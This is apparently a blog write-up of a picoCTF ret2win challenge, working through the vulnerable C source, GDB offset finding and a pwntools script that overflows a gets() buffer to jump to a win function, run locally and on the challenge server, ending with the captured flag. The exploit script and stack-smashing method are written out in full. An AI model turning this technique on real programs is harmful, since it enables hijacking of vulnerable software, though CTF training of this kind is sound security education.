rootπŸ’€haxor:~#

Try Harder!.

View on GitHub

Binary Exploitation

Source: PicoCTF

Basic File Checks

β”Œβ”€β”€(venv)─(markγ‰Ώhaxor)-[~/Desktop/CTF/Pico/bof1]
└─$ file vuln 
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=96273c06a17ba29a34bdefa9be1a15436d5bad81, for GNU/Linux 3.2.0, not stripped
                                                                                                        
β”Œβ”€β”€(venv)─(markγ‰Ώhaxor)-[~/Desktop/CTF/Pico/bof1]
└─$ checksec vuln 
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/mark/Desktop/CTF/Pico/bof1/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

Source code is given

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

Its a basic ret2win chall. Cause the win function isn’t called in the main function

So our plan is to jump to the win function which then we will get the flag

I’ll get the offset first which i will do manually then automate it with pwntools

Hop over to gdb then set a breakpoint in the vuln return call

└─$ gdb -q vuln                                  
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 12.1 in 0.00ms using Python engine 3.11
Reading symbols from vuln...
(No debugging symbols found in vuln)
gef➀  disass vuln
Dump of assembler code for function vuln:
   0x08049281 <+0>:     endbr32 
   0x08049285 <+4>:     push   ebp
   0x08049286 <+5>:     mov    ebp,esp
   0x08049288 <+7>:     push   ebx
   0x08049289 <+8>:     sub    esp,0x24
   0x0804928c <+11>:    call   0x8049130 <__x86.get_pc_thunk.bx>
   0x08049291 <+16>:    add    ebx,0x2d6f
   0x08049297 <+22>:    sub    esp,0xc
   0x0804929a <+25>:    lea    eax,[ebp-0x28]
   0x0804929d <+28>:    push   eax
   0x0804929e <+29>:    call   0x8049050 <gets@plt>
   0x080492a3 <+34>:    add    esp,0x10
   0x080492a6 <+37>:    call   0x804933e <get_return_address>
   0x080492ab <+42>:    sub    esp,0x8
   0x080492ae <+45>:    push   eax
   0x080492af <+46>:    lea    eax,[ebx-0x1f9c]
   0x080492b5 <+52>:    push   eax
   0x080492b6 <+53>:    call   0x8049040 <printf@plt>
   0x080492bb <+58>:    add    esp,0x10
   0x080492be <+61>:    nop
   0x080492bf <+62>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x080492c2 <+65>:    leave  
   0x080492c3 <+66>:    ret    
End of assembler dump.
gef➀  b *0x080492c2
Breakpoint 1 at 0x80492c2
gef➀  

Now i can run it and search for where our input is on the stack

gef➀  r
Starting program: /home/mark/Desktop/CTF/Pico/bof1/vuln 
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0xf7fc7000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Please enter your string: 
pwnerhacker
Okay, time to return... Fingers Crossed... Jumping to 0x804932f

Breakpoint 1, 0x080492c2 in vuln ()



[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x40      
$ebx   : 0x804c000  β†’  0x804bf10  β†’  <_DYNAMIC+0> add DWORD PTR [eax], eax
$ecx   : 0x0       
$edx   : 0xf7fc2540  β†’  0xf7fc2540  β†’  [loop detected]
$esp   : 0xffffd010  β†’  "pwnerhacker"
$ebp   : 0xffffd038  β†’  0xffffd058  β†’  0x00000000
$esi   : 0x8049350  β†’  <__libc_csu_init+0> endbr32 
$edi   : 0xf7ffcb80  β†’  0x00000000
$eip   : 0x80492c2  β†’  <vuln+65> leave 
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
───────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd010β”‚+0x0000: "pwnerhacker"        ← $esp
0xffffd014β”‚+0x0004: "rhacker"
0xffffd018β”‚+0x0008: 0x72656b ("ker"?)
0xffffd01cβ”‚+0x000c: 0x804c000  β†’  0x804bf10  β†’  <_DYNAMIC+0> add DWORD PTR [eax], eax
0xffffd020β”‚+0x0010: 0x8049350  β†’  <__libc_csu_init+0> endbr32 
0xffffd024β”‚+0x0014: 0xf7ffcb80  β†’  0x00000000
0xffffd028β”‚+0x0018: 0xffffd058  β†’  0x00000000
0xffffd02cβ”‚+0x001c: 0x8049327  β†’  <main+99> add esp, 0x10
─────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x80492bb <vuln+58>        add    esp, 0x10
    0x80492be <vuln+61>        nop    
    0x80492bf <vuln+62>        mov    ebx, DWORD PTR [ebp-0x4]
 β†’  0x80492c2 <vuln+65>        leave  
    0x80492c3 <vuln+66>        ret    
    0x80492c4 <main+0>         endbr32 
    0x80492c8 <main+4>         lea    ecx, [esp+0x4]
    0x80492cc <main+8>         and    esp, 0xfffffff0
    0x80492cf <main+11>        push   DWORD PTR [ecx-0x4]
─────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln", stopped 0x80492c2 in vuln (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80492c2 β†’ vuln()
[#1] 0x804932f β†’ main()
────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➀

Cool now i’ll search for our input address then the eip address to get the offset

gef➀  search-pattern pwnerhacker
[+] Searching 'pwnerhacker' in memory
[+] In '[heap]'(0x804d000-0x806f000), permission=rw-
  0x804d1a0 - 0x804d1ad  β†’   "pwnerhacker\n" 
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx
  0xffffd010 - 0xffffd01b  β†’   "pwnerhacker" 
gef➀  i f
Stack level 0, frame at 0xffffd040:
 eip = 0x80492c2 in vuln; saved eip = 0x804932f
 called by frame at 0xffffd070
 Arglist at 0xffffd038, args: 
 Locals at 0xffffd038, Previous frame's sp is 0xffffd040
 Saved registers:
  ebx at 0xffffd034, ebp at 0xffffd038, eip at 0xffffd03c
gef➀

Doing the math we get the offset 0xffffd03c - 0xffffd010 = 0x2c

Now here’s the exploit to automate everything for us and return to the win function

from pwn import *


# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Find offset to EIP/RIP for buffer overflows
def find_ip(payload):
    # Launch process and send payload
    p = process(exe, level='warn')
    p.sendlineafter(b':', payload)
    # Wait for the process to crash
    p.wait()
    # Print out the address of EIP/RIP at the time of crashing
    ip_offset = cyclic_find(p.corefile.pc)  # x86
    #ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))  # x64
    warn('located EIP/RIP offset at {a}'.format(a=ip_offset))
    return ip_offset


# Binary filename
exe = './vuln'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================


# Pass in pattern_size, get back EIP/RIP offset
offset = find_ip(cyclic(100))

# Start program
io = start()

padding = "A" * offset

# Build the payload
payload = flat([
    padding,
    elf.functions['win']
    ])

# Send the payload
io.sendline(payload)

# Got flag?
io.interactive()

So here’s what the exploit will do

1. Get the offset for us
2. Overwrite the eip
3. Return to the win function

On runnning it locally

└─$ python2 exploit.py
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[DEBUG] core_pattern: 'core'
[DEBUG] core_uses_pid: False
[DEBUG] interpreter: ''
[DEBUG] Looking for QEMU corefile
[DEBUG] Trying corefile_path: '/home/mark/Desktop/CTF/Pico/bof1/qemu_vuln_*_9747.core'
[DEBUG] Looking for native corefile
[DEBUG] Checking for corefile (pattern)
[DEBUG] Trying corefile_path: '/home/mark/Desktop/CTF/Pico/bof1/core'
[+] Parsing corefile...: Done
[*] '/tmp/tmpl7yANh'
    Arch:      i386-32-little
    EIP:       0x6161616c
    ESP:       0xffc6fd70
    Exe:       '/home/mark/Desktop/CTF/Pico/bof1/vuln' (0x8048000)
    Fault:     0x6161616c
[+] Parsing corefile...: Done
[*] '/home/mark/Desktop/CTF/Pico/bof1/core.9747'
    Arch:      i386-32-little
    EIP:       0x6161616c
    ESP:       0xffc6fd70
    Exe:       '/home/mark/Desktop/CTF/Pico/bof1/vuln' (0x8048000)
    Fault:     0x6161616c
[!] located EIP/RIP offset at 44
[+] Starting local process './vuln': pid 9757
[DEBUG] Sent 0x31 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  β”‚AAAAβ”‚AAAAβ”‚AAAAβ”‚AAAAβ”‚
    *
    00000020  41 41 41 41  41 41 41 41  41 41 41 41  f6 91 04 08  β”‚AAAAβ”‚AAAAβ”‚AAAAβ”‚Β·Β·Β·Β·β”‚
    00000030  0a                                                  β”‚Β·β”‚
    00000031
[*] Switching to interactive mode
[DEBUG] Received 0x77 bytes:
    'Please enter your string: \n'
    'Okay, time to return... Fingers Crossed... Jumping to 0x80491f6\n'
    'flag{fake_flag_for_testing}\n'
Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
flag{fake_flag_for_testing}
[*] Got EOF while reading in interactive
$ 

We get lot of output cause its set in debug mode

Here’s how to make to make the output informational

from pwn import *


# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Find offset to EIP/RIP for buffer overflows
def find_ip(payload):
    # Launch process and send payload
    p = process(exe, level='warn')
    p.sendlineafter(b':', payload)
    # Wait for the process to crash
    p.wait()
    # Print out the address of EIP/RIP at the time of crashing
    ip_offset = cyclic_find(p.corefile.pc)  # x86
    #ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))  # x64
    warn('located EIP/RIP offset at {a}'.format(a=ip_offset))
    return ip_offset


# Binary filename
exe = './vuln'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================


# Pass in pattern_size, get back EIP/RIP offset
offset = find_ip(cyclic(100))

# Start program
io = start()

padding = "A" * offset

# Build the payload
payload = flat([
    padding,
    elf.functions['win']
    ])

# Send the payload
io.sendline(payload)

# Got flag?
io.interactive()

Running that looks better

└─$ python2 exploit.py
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[+] Parsing corefile...: Done
[*] '/home/mark/Desktop/CTF/Pico/bof1/core.10318'
    Arch:      i386-32-little
    EIP:       0x6161616c
    ESP:       0xffacdf60
    Exe:       '/home/mark/Desktop/CTF/Pico/bof1/vuln' (0x8048000)
    Fault:     0x6161616c
[!] located EIP/RIP offset at 44
[+] Starting local process './vuln': pid 10321
[*] Switching to interactive mode
Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
flag{fake_flag_for_testing}
[*] Got EOF while reading in interactive
$ 

Cool now i’ll run it on the remote server

└─$ python2 exploit.py REMOTE saturn.picoctf.net 55181
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[+] Parsing corefile...: Done
[*] '/home/mark/Desktop/CTF/Pico/bof1/core.10463'
    Arch:      i386-32-little
    EIP:       0x6161616c
    ESP:       0xffc04100
    Exe:       '/home/mark/Desktop/CTF/Pico/bof1/vuln' (0x8048000)
    Fault:     0x6161616c
[!] located EIP/RIP offset at 44
[+] Opening connection to saturn.picoctf.net on port 55181: Done
[*] Switching to interactive mode
Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{addr3ss3s_ar3_3asy_c76b273b}
[*] Got EOF while reading in interactive
$

And we’re done



Back To Home